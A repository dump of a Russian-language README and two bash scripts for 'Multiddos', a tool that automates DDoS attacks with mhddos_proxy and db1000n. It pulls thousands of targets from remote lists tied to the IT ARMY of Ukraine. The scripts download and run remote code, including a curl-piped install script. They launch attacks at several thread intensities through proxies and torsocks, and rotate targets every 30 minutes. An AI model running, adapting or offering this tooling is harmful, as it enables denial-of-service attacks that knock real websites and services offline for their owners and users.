├── README.md
├── md2.sh
└── multiddos.sh
/README.md:
--------------------------------------------------------------------------------
1 | # **Multiddos - скрипт объединяющий в себе несколько утилит для ddos**
2 |
3 | 
4 |
5 | ### **Особености**:
6 | * Объединяет в себе несколько утилит для ддоса, и для мониторинга (gotop, vnstat)
7 | * Полностью автоматизирован. Автоматическое обновление программ, автоматическая настройка, автоматический запуск, автоматическая смена целей.
8 | * Запуск одной простой командой.
9 | * Наличие нескольких режимов работы (с помощью дополнительных ключей)
10 | * При закрытии терминала или разрыве ssh сессии программы не вылетают, а продолжают работать в фоне. В любой момент multiddos можно снова вывести на экран.
11 | * Работает с несколькими базами на тысячи сайтов/адресов.
12 |
13 | ### **На данный момент скрипт поддерживает:**
14 | * [Multiddos](https://github.com/KarboDuck/multiddos), ранее известный как auto_mhddos (обвертка для mhddos_proxy) от Украинского Жнеца ([канал](https://t.me/ukrainian_reaper_ddos), [чат](https://t.me/+azRzzKp-STpkMjNi))
15 | * ~~[db1000n ](https://github.com/Arriven/db1000n) от IT ARMY of Ukraine ([канал](https://t.me/itarmyofukraine2022), чат)~~ временно отключено
16 |
17 | * Базу сайтов [IT ARMY of Ukraine](https://t.me/itarmyofukraine2022)
18 | * Базу сайтов [DDOS по країні СЕПАРІВ (Кібер-Козаки)](https://t.me/ddos_separ)
19 |
20 | ### **Пояснение к выбору конкретных утилит**
21 |
22 | развернуть
23 |
24 | Мы хотели собрать утилиты, которые:
25 | * Можно полностью автоматизировать
26 | * Имеют хорошую эффективность и поддерживаются разработчиками
27 | * Умеют работать через прокси
28 |
29 | Полностью данным требованиям соответствует только mhddos_proxy. DB1000N не умеет работать через прокси. Поэтому на данном этапе по умолчанию используется только mhddos_proxy.
30 |
31 |
32 |
33 | ---
34 | # **Multiddos в docker. Рекомендуется.** (Win, Mac, Linux)
35 |
36 | ### **Запуск**
37 |
38 | 1. Скачать и установить [Docker](https://docs.docker.com/get-docker/)
39 |
40 | Или быстрые команды для установки:
41 |
42 | * Windows 10/11: `winget install -e --id Docker.DockerDesktop`
43 | * MacOS: `brew install docker docker-machine`
44 | * LInux: `sudo apt install docker.io`
45 |
46 | 2. Запустить multiddos в docker:
47 | ```
48 | docker run -it --rm --log-driver none --name multidd --pull always karboduck/multidd
49 | ```
50 |
51 | * Запуск docker c ключами. Docker версия поддерживает те же ключи, что и bash версия. Прописывайте их точно так же в конце команды. `docker run -it --rm --log-driver none --name multidd --pull always karboduck/multidd --lang en` Подробнее про ключи читайте ниже в разделе **Опции запуска**.
52 |
53 | ### **Остановка**
54 | 1. Нажать в окне несколько раз подряд `Ctrl + C`
55 | 2. В другом терминале запустить команду `docker stop multidd`
56 | 3. Перезагрузить операционную систему
57 |
58 | ### **Подключиться обратно, если скрипт работает в фоне**
59 | ```
60 | docker attach multidd
61 | ```
62 |
63 | ---
64 | # **Multiddos в bash** (Linux, WSL2)
65 |
66 | ### **Запуск**
67 |
68 | ```
69 | curl -LO tiny.one/multiddos && bash multiddos
70 | ```
71 |
72 | или прямая ссылка, на случай если сокращенная не работает
73 |
74 | ```
75 | curl -O https://raw.githubusercontent.com/KarboDuck/multiddos/main/multiddos.sh && bash multiddos.sh
76 | ```
77 |
78 |
79 |
80 | ### **Остановка**:
81 | 1. Нажать в окне несколько раз подряд `Ctrl + C`
82 | 2. В другом терминале запустить команду `pkill tmux; pkill node; pkill -f start.py; pkill -f runner.py`
83 | 3. Перезагрузить операционную систему
84 |
85 | ### **Подключиться обратно, если скрипт работает в фоне**
86 | ```
87 | tmux a
88 | ```
89 | ---
90 |
91 | ## **Опции запуска**
92 |
93 |
94 | развернуть
95 |
96 | Multiddos запускается по умолчанию с gotop и multiddos. Это стандартная конфигурация. Из этой конфигурации можно убрать gotop. Или добавить в нее утилиты: db1000n, vnstat.
97 |
98 | Для того, чтобы убрать утилиту используется ключ со знаком "-":
99 |
100 | `-g` убрать gotop
101 |
102 | Для того, чтобы добавить утилиту используется ключ со знаком "+":
103 |
104 | `+d` добавить db1000n
105 |
106 | `+v` добавить vnstat -l (мониторинг трафика)
107 |
108 | `-p 2000` или `--proxy-threads 2000` Использование этого ключа подключает proxy_finder и задает количество потоков для поиска. Чем выше значение, тем быстрее происходит сканирование и поиск новых прокси, но тем и выше нагрузка на CPU и сеть. Поэтому при больших значениях может падать скорость атак.
109 |
110 | `-t 500` или `--threads 500` задать количество потоков для mhddos_proxy
111 |
112 | **Режимы нагрузки в порядке возрастания:**
113 |
114 | `--XS` Самый легкий режим работы. Низкая нагрузка на процессор и сеть. Рекомендуется, если компьютер сильно тормозит, а интернет пропадает. Атакует 1000 целей 1 процессом в 1000 потоков.
115 |
116 | `--S` Атакует 1000 целей 1 процессом в 2000 потоков.
117 |
118 | `--M` Атакует все цели в базе 2 процессами по 2000 потоков каждый.
119 |
120 | `--L` Атакует все цели в базе 2 процессами по 4000 потоков каждый. Используется по умолчанию.
121 |
122 | `--XL` Атакует все цели в базе 4 процессами по 3000 потоков каждый.
123 |
124 | `--XXL` Атакует все цели в базе 4 процессами по 4000 потоков каждый.
125 |
126 | `--XXXL` Атакует все цели в базе 4 процессами по 5000 потоков каждый.
127 |
128 | Пример команды (убрать gotop, запустить proxy finder с 2000 потоков и атаку в режиме --S):
129 |
130 | ```
131 | curl -LO tiny.one/multiddos && bash multiddos -g -p 2000 --S
132 | ```
133 |
134 | То же самое для docker:
135 |
136 | ```
137 | docker run -it --rm --log-driver none --name multidd --pull always karboduck/multidd -g -p 2000 --S
138 | ```
139 |
140 |
141 |
142 | ---
143 | ## **Управление Tmux**
144 |
145 | развернуть
146 |
147 | * **Свернуть Tmux**. Программы продолжат работать в фоне, и к сессии можно будет позже снова подключиться. `Нажмите Ctrl+b` отпустите `Нажмите d`
148 |
149 | * **Закрыть сессию Tmux**. Сначала выйдите из Tmux: `Нажмите Ctrl+b` отпустите `Нажмите d`. Выполните в терминале команду `tmux kill-session -t multiddos`
150 |
151 | * **Переподключиться к сессии Tmux**. Если у вас всего одна сессия Tmux, то используйте: `tmux a` (tmux attach). Если у вас несколько сессий, подключайтесь по имени: `tmux attach-session -t multidd`
152 |
153 |
154 | ---
155 | ## **Решение проблем и распространеные вопросы**
156 |
157 | развернуть
158 |
159 | 1.
160 | Основная проблема - перебои в работе сетевого адаптера. Особенно часто проявляется при запуске скрипта на виртуальной машине. Ддос пакеты влияют не только на удаленные сервера, но и на ваше железо.
161 |
162 | Внешние проявления могут быть самыми разнообразными, нелогичными и на первый взгляд не связанными с сетью. Но, если скрипт не запускается, просто перезапустите систему и попробуйте снова. Едва ли не в 80% случаев это решает проблемы.
163 |
164 | Если проблема повторяется, попробуйте использовать режим --S. Если проблема все равно повторяется, значит на этой конкретной системе атаки запустить не получится.
165 |
166 | 2.
167 | Вылетает db1000n. Это либо опять побочка проблем с сетью, смотрите пункт выше. Либо сбой самой программы, с чем мы ничего поделать не можем. Хорошая новость заключается в том, что 95% полезной работы выполняет mhddos_proxy. Пока он работает, все идет по плану.
168 |
169 | 3.
170 | Низкий трафик. В подавляющем большинстве случаев это значит, что атакуемые сайты уже лежат, либо их закрыли гео-блоком (отгородили от внешнего мира). Это нормально, наши атаки все равно приносят пользу, продолжаем работать.
171 |
172 | Также может значить что вы используете слишком высокое кол-во потоков для атак, и ваш ПК не справляется с нагрузкой. Попробуйте запустить Multiddos в режиме --S.
173 |
174 | 4.
175 | Пишет что сайт или несколько сайтов недоступны и не будут атакованы. Это нормально, значит эти конкретные сайты лежат или недоступны по другим причинам. Как правило это происходит с небольшим количеством сайтов, и атаки по 90% других сайтов продолжаются.
176 |
177 | 5.
178 | Пишет что доступно 0 сайтов. Похоже на ошибку №4, но при нормальной работе такого быть не должно. Значит либо упала сеть, либо провайдер/vpn блокирует доступ ко всем этим сайтам.
179 |
180 | Попробуйте перезагрузить ПК. Попробуйте использовать режим --S. Включите или если уже включен, наоборот выключите vpn.
181 |
182 | 6.
183 | Нужен ли VPN? На данный момент не нужен. То есть при желании или необходимости его можно держать включенным, но это не обязательно, так как mhddos_proxy использует прокси.
184 |
185 |
--------------------------------------------------------------------------------
/md2.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | # curl -LO tiny.one/multiddos && bash multiddos
3 | # curl -O https://raw.githubusercontent.com/KarboDuck/multiddos/main/md2.sh && bash md2.sh
4 | clear && echo -e "Loading... v1.2b\n"
5 | sudo apt-get update -q -y #>/dev/null 2>&1
6 | sudo apt-get install -q -y tmux jq git toilet python3 python3-pip
7 | pip install --upgrade pip >/dev/null 2>&1
8 | rm -rf ~/multidd*; mkdir -p ~/multidd/targets/ ; cd ~/multidd # clean working folder
9 |
10 | sudo sysctl -w net.ipv4.ip_local_port_range="16384 65535" # increasing thread limit
11 |
12 | gotop="on"
13 | db1000n="off"
14 | vnstat="off"
15 | proxy_finder="off"
16 | export methods="--http-methods GET STRESS"
17 | export ddos_size="AUTO"
18 |
19 | # create swap file if system doesn't have it. Helps systems with very little RAM.
20 | if [[ $(echo $(swapon --noheadings --bytes | cut -d " " -f3)) == "" ]]; then
21 | sudo fallocate -l 1G /swp && sudo chmod 600 /swp && sudo mkswap /swp && sudo swapon /swp
22 | fi
23 |
24 | typing_on_screen (){
25 | tput setaf 2 &>/dev/null # green
26 | for ((i=0; i<=${#1}; i++)); do
27 | printf '%s' "${1:$i:1}"
28 | sleep 0.05$(( (RANDOM % 5) + 1 ))
29 | done
30 | tput sgr0 2 &>/dev/null
31 | }
32 | export -f typing_on_screen
33 |
34 | ### prepare target files and show banner
35 | prepare_targets_and_banner () {
36 | rm -rf ~/multidd/targets/*
37 |
38 | # 1 DDOS по країні СЕПАРІВ (Кібер-Козаки) https://t.me/ddos_separ
39 | echo "$(curl -s https://raw.githubusercontent.com/alexnest-ua/targets/main/special/archive/all.txt)" > ~/multidd/targets/source1.txt
40 | # 2 IT ARMY of Ukraine https://t.me/itarmyofukraine2022
41 | echo "$(curl -s -X GET "https://raw.githubusercontent.com/db1000n-coordinators/LoadTestConfig/main/config.v0.7.json" 2>/dev/null | jq -r '.jobs[].args.packet.payload.data.path | select (. != null)')" > ~/multidd/targets/source2.txt
42 |
43 | echo "$(curl -s -X GET "https://raw.githubusercontent.com/db1000n-coordinators/LoadTestConfig/main/config.v0.7.json" 2>/dev/null | jq -r '.jobs[].args.connection.args.address | select (. != null)')" > ~/multidd/targets/source3.txt
44 |
45 | # remove all empty lines (spaces, tabs, new lines)
46 | sed -i '/^[[:space:]]*$/d' ~/multidd/targets/source*.txt
47 | # add 'tcp://' to all ip addresses
48 | sed -i -e 's/^/tcp:\/\//g' ~/multidd/targets/source3.txt
49 |
50 | # skip wrong lines in sources (those happens) and combine all sources together in single file all_targets.txt
51 | cat ~/multidd/targets/source* | while read LINE; do
52 | if [[ $LINE == "http"* ]] || [[ $LINE == "tcp://"* ]]; then
53 | echo $LINE >> ~/multidd/targets/all_targets.txt
54 | fi
55 | done
56 |
57 | # delete duplicates, randomize order and save final targets in uniq_targets.txt
58 | cat ~/multidd/targets/all_targets.txt | sort | uniq | sort -R > ~/multidd/targets/uniq_targets.txt
59 |
60 | # Print greetings and number of targets; yes, app name "toilet" is unfortunate
61 | clear
62 | toilet -t --metal "Український"
63 | toilet -t --metal " жнець"
64 | toilet -t --metal " MULTIDDOS"
65 |
66 | if [[ $mhddos_mode == "new" ]]; then
67 | typing_on_screen 'Шукаю завдання від IT ARMY...' && sleep 2&
68 | cd ~/multidd/
69 | wget -q https://github.com/porthole-ascend-cinnamon/mhddos_proxy_releases/releases/latest/download/mhddos_proxy_linux
70 | chmod +x mhddos_proxy_linux
71 | else
72 | typing_on_screen 'Шукаю завдання...' ; sleep 0.5
73 | echo -e "\n\nTotal targets found:" "\x1b[32m $(cat ~/multidd/targets/all_targets.txt | wc -l)\x1b[m" && sleep 0.1
74 | echo -e "Uniq targets:" "\x1b[32m $(cat ~/multidd/targets/uniq_targets.txt | wc -l)\x1b[m" && sleep 0.1
75 | echo -e "\nЗавантаження..."; sleep 2
76 | fi
77 | clear
78 | }
79 | export -f prepare_targets_and_banner
80 |
81 | launch () {
82 | # kill previous sessions or processes in case they still in memory
83 | tmux kill-session -t multidd > /dev/null 2>&1
84 |
85 | # tmux mouse support
86 | grep -qxF 'set -g mouse on' ~/.tmux.conf || echo 'set -g mouse on' >> ~/.tmux.conf
87 | tmux source-file ~/.tmux.conf > /dev/null 2>&1
88 |
89 | if [[ $gotop == "on" ]]; then
90 | if [ ! -f "/usr/local/bin/gotop" ]; then
91 | curl -L https://github.com/cjbassi/gotop/releases/download/3.0.0/gotop_3.0.0_linux_amd64.deb -o gotop.deb
92 | sudo dpkg -i gotop.deb
93 | fi
94 | tmux new-session -s multidd -d 'gotop -sc solarized'
95 | tmux split-window -h -p 66 'bash auto_bash.sh'
96 | else
97 | tmux new-session -s multidd -d 'bash auto_bash.sh'
98 | fi
99 |
100 | if [[ $vnstat == "on" ]]; then
101 | sudo apt -yq install vnstat
102 | tmux split-window -v 'vnstat -l'
103 | fi
104 |
105 | if [[ $db1000n == "on" ]]; then
106 | sudo apt -yq install torsocks
107 | tmux split-window -v 'curl https://raw.githubusercontent.com/Arriven/db1000n/main/install.sh | bash && torsocks -i ./db1000n'
108 | fi
109 |
110 | if [[ $proxy_finder == "on" ]]; then
111 | tmux split-window -v -p 20 'rm -rf ~/multidd/proxy_finder; git clone https://github.com/porthole-ascend-cinnamon/proxy_finder ~/multidd/proxy_finder; cd ~/multidd/proxy_finder; python3 -m pip install -r requirements.txt; clear; echo -e "\x1b[32mШукаю проксі, в середньому одна робоча знаходиться після 10млн перевірок\x1b[m"; python3 ~/multidd/proxy_finder/finder.py --threads $proxy_threads'
112 | fi
113 | tmux attach-session -t multidd
114 | }
115 |
116 | while [ "$1" != "" ]; do
117 | case $1 in
118 | +d | --db1000n ) db1000n="on"; shift ;;
119 | -g | --gotop ) gotop="off"; db1000n="off"; shift ;;
120 | +v | --vnstat ) vnstat="on"; shift ;;
121 | --XS ) export ddos_size="XS"; shift ;;
122 | --S | --lite ) export ddos_size="S"; shift ;;
123 | --M ) export ddos_size="M"; shift ;;
124 | --L ) export ddos_size="L"; shift ;;
125 | --XL ) export ddos_size="XL"; shift ;;
126 | --XXL | --2XL) export ddos_size="XXL"; shift ;;
127 | --XXXL | --3XL) export ddos_size="XXXL"; shift ;;
128 | --new ) export mhddos_mode="new"; shift ;;
129 | -p | --proxy-threads ) export proxy_finder="on"; export proxy_threads="$2"; shift 2 ;;
130 | * ) export args_to_pass+=" $1"; shift ;; #pass all unrecognized arguments to mhddos_proxy
131 | esac
132 | done
133 |
134 | prepare_targets_and_banner
135 |
136 | # create small separate script to re-launch only this small part of code
137 | cd ~/multidd
138 | cat > auto_bash.sh << 'EOF'
139 | # Restart and update mhddos_proxy and targets every 30 minutes
140 | # pkill -f mhddos_proxy_linux
141 |
142 | if [[ $mhddos_mode == "new" ]]; then
143 | cd ~/multidd/
144 |
145 | if [[ $ddos_size == "AUTO" ]]; then
146 | ./mhddos_proxy_linux --copies auto $args_to_pass
147 | elif [[ $ddos_size == "XS" ]]; then
148 | ./mhddos_proxy_linux -t 1000 $args_to_pass
149 | elif [[ $ddos_size == "S" ]]; then
150 | ./mhddos_proxy_linux -t 2000 $args_to_pass
151 | elif [[ $ddos_size == "M" ]]; then
152 | ./mhddos_proxy_linux --copies 2 -t 2000 $args_to_pass
153 | elif [[ $ddos_size == "L" ]]; then
154 | ./mhddos_proxy_linux --copies auto -t 4000 $args_to_pass
155 | elif [[ $ddos_size == "XL" ]]; then
156 | ./mhddos_proxy_linux --copies 4 -t 3000 $args_to_pass
157 | elif [[ $ddos_size == "XXL" ]]; then
158 | ./mhddos_proxy_linux --copies 4 -t 4000 $args_to_pass
159 | elif [[ $ddos_size == "XXXL" ]]; then
160 | ./mhddos_proxy_linux --copies 4 -t 5000 $args_to_pass
161 | fi
162 |
163 | else
164 | while true; do
165 | cd ~/multidd/
166 | git clone https://github.com/porthole-ascend-cinnamon/mhddos_proxy.git
167 | cd ~/multidd/mhddos_proxy
168 | python3 -m pip install -r requirements.txt
169 |
170 | if [[ $ddos_size == "XS" ]]; then
171 | tail -n 1000 ~/multidd/targets/uniq_targets.txt > ~/multidd/targets/lite_targets.txt
172 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/lite_targets.txt $methods -t 1000 $args_to_pass &
173 | elif [[ $ddos_size == "S" ]]; then
174 | tail -n 1000 ~/multidd/targets/uniq_targets.txt > ~/multidd/targets/lite_targets.txt
175 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/lite_targets.txt $methods -t 2000 $args_to_pass &
176 | elif [[ $ddos_size == "M" ]]; then
177 | cd ~/multidd/targets/; split -n l/2 --additional-suffix=.uaripper ~/multidd/targets/uniq_targets.txt; cd ~/multidd/mhddos_proxy #split targets in 2 parts
178 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/xaa.uaripper $methods -t 2000 $args_to_pass &
179 | sleep 30
180 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/xab.uaripper $methods -t 2000 $args_to_pass &
181 | elif [[ $ddos_size == "L" ]] || [[ $ddos_size == "AUTO" ]]; then
182 | cd ~/multidd/targets/; split -n l/2 --additional-suffix=.uaripper ~/multidd/targets/uniq_targets.txt; cd ~/multidd/mhddos_proxy #split targets in 2 parts
183 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/xaa.uaripper $methods -t 4000 $args_to_pass &
184 | sleep 30
185 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/xab.uaripper $methods -t 4000 $args_to_pass &
186 | elif [[ $ddos_size == "XL" ]]; then
187 | cd ~/multidd/targets/; split -n l/4 --additional-suffix=.uaripper ~/multidd/targets/uniq_targets.txt; cd ~/multidd/mhddos_proxy #split targets in 4 parts
188 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/xaa.uaripper $methods -t 3000 $args_to_pass &
189 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/xab.uaripper $methods -t 3000 $args_to_pass &
190 | sleep 30
191 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/xac.uaripper $methods -t 3000 $args_to_pass &
192 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/xad.uaripper $methods -t 3000 $args_to_pass &
193 | elif [[ $ddos_size == "XXL" ]]; then
194 | cd ~/multidd/targets/; split -n l/4 --additional-suffix=.uaripper ~/multidd/targets/uniq_targets.txt; cd ~/multidd/mhddos_proxy #split targets in 2 parts
195 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/xaa.uaripper $methods -t 4000 $args_to_pass &
196 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/xab.uaripper $methods -t 4000 $args_to_pass &
197 | sleep 30
198 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/xac.uaripper $methods -t 4000 $args_to_pass &
199 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/xad.uaripper $methods -t 4000 $args_to_pass &
200 | elif [[ $ddos_size == "XXXL" ]]; then
201 | cd ~/multidd/targets/; split -n l/4 --additional-suffix=.uaripper ~/multidd/targets/uniq_targets.txt; cd ~/multidd/mhddos_proxy #split targets in 2 parts
202 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/xaa.uaripper $methods -t 5000 $args_to_pass &
203 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/xab.uaripper $methods -t 5000 $args_to_pass &
204 | sleep 30
205 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/xac.uaripper $methods -t 5000 $args_to_pass &
206 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/xad.uaripper $methods -t 5000 $args_to_pass &
207 | fi
208 | sleep 30m
209 | pkill -f start.py; pkill -f runner.py;
210 | prepare_targets_and_banner
211 | rm -rf ~/multidd/mhddos_proxy/
212 | done
213 | fi
214 | EOF
215 |
216 | launch
--------------------------------------------------------------------------------
/multiddos.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | # curl -LO tiny.one/multiddos && bash multiddos
3 | # curl -O https://raw.githubusercontent.com/KarboDuck/multiddos/main/md2.sh && bash md2.sh
4 | clear && echo -e "Loading... v1.2\n"
5 | sudo apt-get update -q -y #>/dev/null 2>&1
6 | sudo apt-get install -q -y tmux jq git toilet python3 python3-pip
7 | pip install --upgrade pip >/dev/null 2>&1
8 | rm -rf ~/multidd*; mkdir -p ~/multidd/targets/ ; cd ~/multidd # clean working folder
9 |
10 | sudo sysctl -w net.ipv4.ip_local_port_range="16384 65535" # increasing thread limit
11 |
12 | gotop="on"
13 | db1000n="off"
14 | vnstat="off"
15 | proxy_finder="off"
16 | export methods="--http-methods GET STRESS"
17 | export ddos_size="AUTO"
18 |
19 | # create swap file if system doesn't have it. Helps systems with very little RAM.
20 | if [[ $(echo $(swapon --noheadings --bytes | cut -d " " -f3)) == "" ]]; then
21 | sudo fallocate -l 1G /swp && sudo chmod 600 /swp && sudo mkswap /swp && sudo swapon /swp
22 | fi
23 |
24 | typing_on_screen (){
25 | tput setaf 2 &>/dev/null # green
26 | for ((i=0; i<=${#1}; i++)); do
27 | printf '%s' "${1:$i:1}"
28 | sleep 0.05$(( (RANDOM % 5) + 1 ))
29 | done
30 | tput sgr0 2 &>/dev/null
31 | }
32 | export -f typing_on_screen
33 |
34 | ### prepare target files and show banner
35 | prepare_targets_and_banner () {
36 | rm -rf ~/multidd/targets/*
37 |
38 | # 1 DDOS по країні СЕПАРІВ (Кібер-Козаки) https://t.me/ddos_separ
39 | echo "$(curl -s https://raw.githubusercontent.com/alexnest-ua/targets/main/special/archive/all.txt)" > ~/multidd/targets/source1.txt
40 | # 2 IT ARMY of Ukraine https://t.me/itarmyofukraine2022
41 | echo "$(curl -s -X GET "https://raw.githubusercontent.com/db1000n-coordinators/LoadTestConfig/main/config.v0.7.json" 2>/dev/null | jq -r '.jobs[].args.packet.payload.data.path | select (. != null)')" > ~/multidd/targets/source2.txt
42 |
43 | echo "$(curl -s -X GET "https://raw.githubusercontent.com/db1000n-coordinators/LoadTestConfig/main/config.v0.7.json" 2>/dev/null | jq -r '.jobs[].args.connection.args.address | select (. != null)')" > ~/multidd/targets/source3.txt
44 |
45 | # remove all empty lines (spaces, tabs, new lines)
46 | sed -i '/^[[:space:]]*$/d' ~/multidd/targets/source*.txt
47 | # add 'tcp://' to all ip addresses
48 | sed -i -e 's/^/tcp:\/\//g' ~/multidd/targets/source3.txt
49 |
50 | # skip wrong lines in sources (those happens) and combine all sources together in single file all_targets.txt
51 | cat ~/multidd/targets/source* | while read LINE; do
52 | if [[ $LINE == "http"* ]] || [[ $LINE == "tcp://"* ]]; then
53 | echo $LINE >> ~/multidd/targets/all_targets.txt
54 | fi
55 | done
56 |
57 | # delete duplicates, randomize order and save final targets in uniq_targets.txt
58 | cat ~/multidd/targets/all_targets.txt | sort | uniq | sort -R > ~/multidd/targets/uniq_targets.txt
59 |
60 | # Print greetings and number of targets; yes, app name "toilet" is unfortunate
61 | clear
62 | toilet -t --metal "Український"
63 | toilet -t --metal " жнець"
64 | toilet -t --metal " MULTIDDOS"
65 |
66 | if [[ $mhddos_mode == "new" ]]; then
67 | typing_on_screen 'Шукаю завдання від IT ARMY...' && sleep 1
68 | else
69 | typing_on_screen 'Шукаю завдання...' ; sleep 0.5
70 | echo -e "\n\nTotal targets found:" "\x1b[32m $(cat ~/multidd/targets/all_targets.txt | wc -l)\x1b[m" && sleep 0.1
71 | echo -e "Uniq targets:" "\x1b[32m $(cat ~/multidd/targets/uniq_targets.txt | wc -l)\x1b[m" && sleep 0.1
72 | echo -e "\nЗавантаження..."; sleep 2
73 | fi
74 | clear
75 | }
76 | export -f prepare_targets_and_banner
77 |
78 | launch () {
79 | # kill previous sessions or processes in case they still in memory
80 | tmux kill-session -t multidd > /dev/null 2>&1
81 |
82 | # tmux mouse support
83 | grep -qxF 'set -g mouse on' ~/.tmux.conf || echo 'set -g mouse on' >> ~/.tmux.conf
84 | tmux source-file ~/.tmux.conf > /dev/null 2>&1
85 |
86 | if [[ $gotop == "on" ]]; then
87 | if [ ! -f "/usr/local/bin/gotop" ]; then
88 | curl -L https://github.com/cjbassi/gotop/releases/download/3.0.0/gotop_3.0.0_linux_amd64.deb -o gotop.deb
89 | sudo dpkg -i gotop.deb
90 | fi
91 | tmux new-session -s multidd -d 'gotop -sc solarized'
92 | tmux split-window -h -p 66 'bash auto_bash.sh'
93 | else
94 | tmux new-session -s multidd -d 'bash auto_bash.sh'
95 | fi
96 |
97 | if [[ $vnstat == "on" ]]; then
98 | sudo apt -yq install vnstat
99 | tmux split-window -v 'vnstat -l'
100 | fi
101 |
102 | if [[ $db1000n == "on" ]]; then
103 | sudo apt -yq install torsocks
104 | tmux split-window -v 'curl https://raw.githubusercontent.com/Arriven/db1000n/main/install.sh | bash && torsocks -i ./db1000n'
105 | fi
106 |
107 | if [[ $proxy_finder == "on" ]]; then
108 | tmux split-window -v -p 20 'rm -rf ~/multidd/proxy_finder; git clone https://github.com/porthole-ascend-cinnamon/proxy_finder ~/multidd/proxy_finder; cd ~/multidd/proxy_finder; python3 -m pip install -r requirements.txt; clear; echo -e "\x1b[32mШукаю проксі, в середньому одна робоча знаходиться після 10млн перевірок\x1b[m"; python3 ~/multidd/proxy_finder/finder.py --threads $proxy_threads'
109 | fi
110 | tmux attach-session -t multidd
111 | }
112 |
113 | while [ "$1" != "" ]; do
114 | case $1 in
115 | +d | --db1000n ) db1000n="on"; shift ;;
116 | -g | --gotop ) gotop="off"; db1000n="off"; shift ;;
117 | +v | --vnstat ) vnstat="on"; shift ;;
118 | --XS ) export ddos_size="XS"; shift ;;
119 | --S | --lite ) export ddos_size="S"; shift ;;
120 | --M ) export ddos_size="M"; shift ;;
121 | --L ) export ddos_size="L"; shift ;;
122 | --XL ) export ddos_size="XL"; shift ;;
123 | --XXL | --2XL) export ddos_size="XXL"; shift ;;
124 | --XXXL | --3XL) export ddos_size="XXXL"; shift ;;
125 | --new ) export mhddos_mode="new"; shift ;;
126 | -p | --proxy-threads ) export proxy_finder="on"; export proxy_threads="$2"; shift 2 ;;
127 | * ) export args_to_pass+=" $1"; shift ;; #pass all unrecognized arguments to mhddos_proxy
128 | esac
129 | done
130 |
131 | prepare_targets_and_banner
132 |
133 | # create small separate script to re-launch only this small part of code
134 | cd ~/multidd
135 | cat > auto_bash.sh << 'EOF'
136 | # Restart and update mhddos_proxy and targets every 30 minutes
137 | # pkill -f mhddos_proxy_linux
138 |
139 | if [[ $mhddos_mode == "new" ]]; then
140 | echo "Downloading latest version of mhddos_proxy..."
141 | cd ~/multidd/
142 | curl -OLs https://github.com/porthole-ascend-cinnamon/mhddos_proxy_releases/releases/latest/download/mhddos_proxy_linux
143 | chmod +x mhddos_proxy_linux
144 |
145 | if [[ $ddos_size == "AUTO" ]]; then
146 | ./mhddos_proxy_linux --copies auto -t 5000 $args_to_pass
147 | elif [[ $ddos_size == "XS" ]]; then
148 | ./mhddos_proxy_linux -t 1000 $args_to_pass
149 | elif [[ $ddos_size == "S" ]]; then
150 | ./mhddos_proxy_linux -t 2000 $args_to_pass
151 | elif [[ $ddos_size == "M" ]]; then
152 | ./mhddos_proxy_linux --copies 2 -t 2000 $args_to_pass
153 | elif [[ $ddos_size == "L" ]]; then
154 | ./mhddos_proxy_linux --copies auto -t 4000 $args_to_pass
155 | elif [[ $ddos_size == "XL" ]]; then
156 | ./mhddos_proxy_linux --copies 4 -t 4000 $args_to_pass
157 | elif [[ $ddos_size == "XXL" ]]; then
158 | ./mhddos_proxy_linux --copies 4 -t 6000 $args_to_pass
159 | elif [[ $ddos_size == "XXXL" ]]; then
160 | ./mhddos_proxy_linux --copies 4 -t 8000 $args_to_pass
161 | fi
162 |
163 | else
164 | while true; do
165 | cd ~/multidd/
166 | git clone https://github.com/porthole-ascend-cinnamon/mhddos_proxy.git
167 | cd ~/multidd/mhddos_proxy
168 | python3 -m pip install -r requirements.txt
169 |
170 | if [[ $ddos_size == "XS" ]]; then
171 | tail -n 1000 ~/multidd/targets/uniq_targets.txt > ~/multidd/targets/lite_targets.txt
172 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/lite_targets.txt $methods -t 1000 $args_to_pass &
173 | elif [[ $ddos_size == "S" ]]; then
174 | tail -n 1000 ~/multidd/targets/uniq_targets.txt > ~/multidd/targets/lite_targets.txt
175 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/lite_targets.txt $methods -t 2000 $args_to_pass &
176 | elif [[ $ddos_size == "M" ]]; then
177 | cd ~/multidd/targets/; split -n l/2 --additional-suffix=.uaripper ~/multidd/targets/uniq_targets.txt; cd ~/multidd/mhddos_proxy #split targets in 2 parts
178 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/xaa.uaripper $methods -t 2000 $args_to_pass &
179 | sleep 30
180 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/xab.uaripper $methods -t 2000 $args_to_pass &
181 | elif [[ $ddos_size == "L" ]] || [[ $ddos_size == "AUTO" ]]; then
